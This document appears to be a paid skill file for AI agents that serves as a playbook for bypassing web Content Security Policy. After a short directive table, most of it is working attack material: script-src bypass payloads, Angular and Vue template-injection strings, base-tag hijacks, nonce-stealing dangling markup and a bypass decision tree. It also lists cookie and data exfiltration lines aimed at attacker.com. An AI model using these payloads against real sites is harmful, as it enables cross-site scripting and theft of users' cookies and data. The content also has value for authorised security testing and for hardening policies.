SKILL.md
$27
Directive
Controls
Default Fallback
default-src
Fallback for all -src directives not explicitly set
None (browser default: allow all)
script-src
JavaScript execution
default-src
style-src
CSS loading
default-src
img-src
Image loading
default-src
connect-src
XHR, fetch, WebSocket, EventSource
default-src
frame-src
iframe/frame sources
default-src
font-src
Font loading
default-src
object-src
<object>, <embed>, <applet>
default-src
media-src
<audio>, <video>
default-src
base-uri
<base> element
No fallback — unrestricted if absent
form-action
Form submission targets
No fallback — unrestricted if absent
frame-ancestors
Who can embed this page (replaces X-Frame-Options)
No fallback — unrestricted if absent
report-uri / report-to
Where violation reports are sent
N/A
navigate-to
Navigation targets (limited browser support)
No fallback
Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.
2. BYPASS TECHNIQUES BY DIRECTIVE
2.1 script-src 'self'
The app only allows scripts from its own origin. Bypass vectors:
Vector
Technique
JSONP endpoints
<script src="/api/jsonp?callback=alert(1)//"></script> — JSONP reflects callback as JS
Uploaded JS files
Upload .js file (e.g., avatar upload accepts any extension) → <script src="/uploads/evil.js"></script>
DOM XSS sinks
Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param
Angular/Vue template injection
If framework is loaded from 'self', inject template expressions: {{constructor.constructor('alert(1)')()}}
Service Worker
Register SW from same origin → intercept and modify responses
Path confusion
<script src="/user-content/;/legit.js"> — server returns user content due to path parsing, but URL matches 'self'
2.2 script-src with CDN Whitelist
script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net
Whitelisted CDN
Bypass
cdnjs.cloudflare.com
Host arbitrary JS via CDNJS (find lib with callback/eval): angular.js → template injection
cdn.jsdelivr.net
jsdelivr serves any npm package or GitHub file: cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js
*.googleapis.com
Google JSONP endpoints, Google Maps callback parameter
unpkg.com
Same as jsdelivr — serves arbitrary npm packages
*.cloudfront.net
CloudFront distributions are shared — any CF customer's JS is allowed
Trick: Search for JSONP endpoints on whitelisted domains: site:googleapis.com inurl:callback
2.3 script-src 'unsafe-eval'
eval(), Function(), setTimeout(string), setInterval(string) all permitted.
// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()
// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))
2.4 script-src 'nonce-xxx'
Only scripts with matching nonce attribute execute.
Bypass
Condition
Nonce reuse
Server uses same nonce across requests or for all users → predictable
Nonce injection via CRLF
CRLF in response header → inject new CSP header with known nonce, or inject <script nonce="known">
Dangling markup to steal nonce
<img src="https://attacker.com/steal? (unclosed) → page content including nonce leaks as URL parameter
DOM clobbering
Overwrite nonce-checking code via DOM clobbering: <form id="nonce"><input id="nonce" value="attacker-controlled">
Script gadgets
Trusted nonced script uses DOM data to create new script elements — inject that DOM data
2.5 script-src 'strict-dynamic'
Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.
Bypass
Technique
base-uri injection
<base href="https://attacker.com/"> → relative script src resolves to attacker domain. Trusted parent script loads ./lib.js which now points to https://attacker.com/lib.js
Script gadget in trusted code
Find trusted script that does document.createElement('script'); s.src = location.hash.slice(1) → control via URL fragment
DOM XSS in trusted script
Trusted script reads innerHTML from user-controlled source → injected <script> is trusted via strict-dynamic
2.6 Angular / Vue CSP Bypass
Angular (with CSP):
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}
Vue.js:
<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>
2.7 Missing object-src
If object-src is not set (falls back to default-src), and default-src allows some origins:
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
<param name="AllowScriptAccess" value="always">
</object>
<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">
2.8 Missing base-uri
<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">
<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->
This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.
2.9 Missing frame-ancestors
CSP without frame-ancestors → page can be framed → clickjacking possible.
X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.
3. CSP IN META TAG vs. HEADER
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
Meta tag limitations:
- Cannot set
frame-ancestors(ignored in meta)
- Cannot set
report-uri/report-to
- Cannot set
sandbox
- If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
- If page has both header CSP and meta CSP, both apply (most restrictive wins)
4. DATA EXFILTRATION DESPITE CSP
When connect-src, img-src, etc. are locked down, alternative exfiltration channels:
Channel
CSP Directive Needed to Block
Technique
DNS prefetch
None (CSP cannot block DNS)
<link rel="dns-prefetch" href="//data.attacker.com">
WebRTC
None (CSP cannot block)
new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})
<link rel=prefetch>
default-src or connect-src
Often missed in CSP
Redirect-based
navigate-to (rarely set)
location='https://attacker.com/?'+document.cookie
CSS injection
style-src
<style>body{background:url(https://attacker.com/?data)}</style>
<a ping>
connect-src
<a ping="https://attacker.com/collect" href="#">click</a>
report-uri leak
N/A
Trigger CSP violation → report contains blocked-uri with data
Form submission
form-action
<form action="https://attacker.com/"><button>Submit</button></form>
DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.
5. CSP BYPASS DECISION TREE
CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│ ├── 'unsafe-inline' in script-src? → Standard XSS works
│ ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│ ├── * or data: in script-src? → <script src="data:,alert(1)">
│ └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│ ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│ ├── No object-src? → Flash/plugin-based bypass (legacy)
│ ├── No form-action? → Exfil via form submission
│ ├── No frame-ancestors? → Clickjacking possible
│ └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│ ├── Find JSONP endpoints on same origin
│ ├── Find file upload → upload .js file
│ ├── Find DOM XSS in existing same-origin scripts
│ └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│ ├── Check CDN for JSONP endpoints
│ ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│ └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│ ├── Nonce reused across requests? → Replay
│ ├── CRLF injection available? → Inject nonce
│ ├── Dangling markup to steal nonce
│ └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│ ├── base-uri not set? → <base> hijack
│ ├── DOM XSS in trusted script? → Inherit trust
│ └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
├── DNS prefetch exfiltration
├── WebRTC exfiltration
├── CSS injection for data extraction
└── Form action exfiltration
6. TRICK NOTES — WHAT AI MODELS MISS
- **
default-src 'self'does NOT restrictbase-uriorform-action** — these have no fallback. This is the #1 CSP mistake.
- **
strict-dynamicignores whitelist**: Whenstrict-dynamicis present, host-based allowlists and'self'are ignored for script loading. Only nonce/hash and trust propagation matter.
- Multiple CSPs stack: If both
Content-Security-Policyheader and<meta>CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
- **
Content-Security-Policy-Report-Only** does not enforce — it only reports. Check for the correct header name.
- Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
- Report-uri information disclosure: CSP violation reports sent to
report-uricontainblocked-uri,source-file,line-number— this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
- **
data:in script-src**:script-src 'self' data:allows<script src="data:text/javascript,alert(1)">— trivial bypass, but commonly seen in real-world CSPs.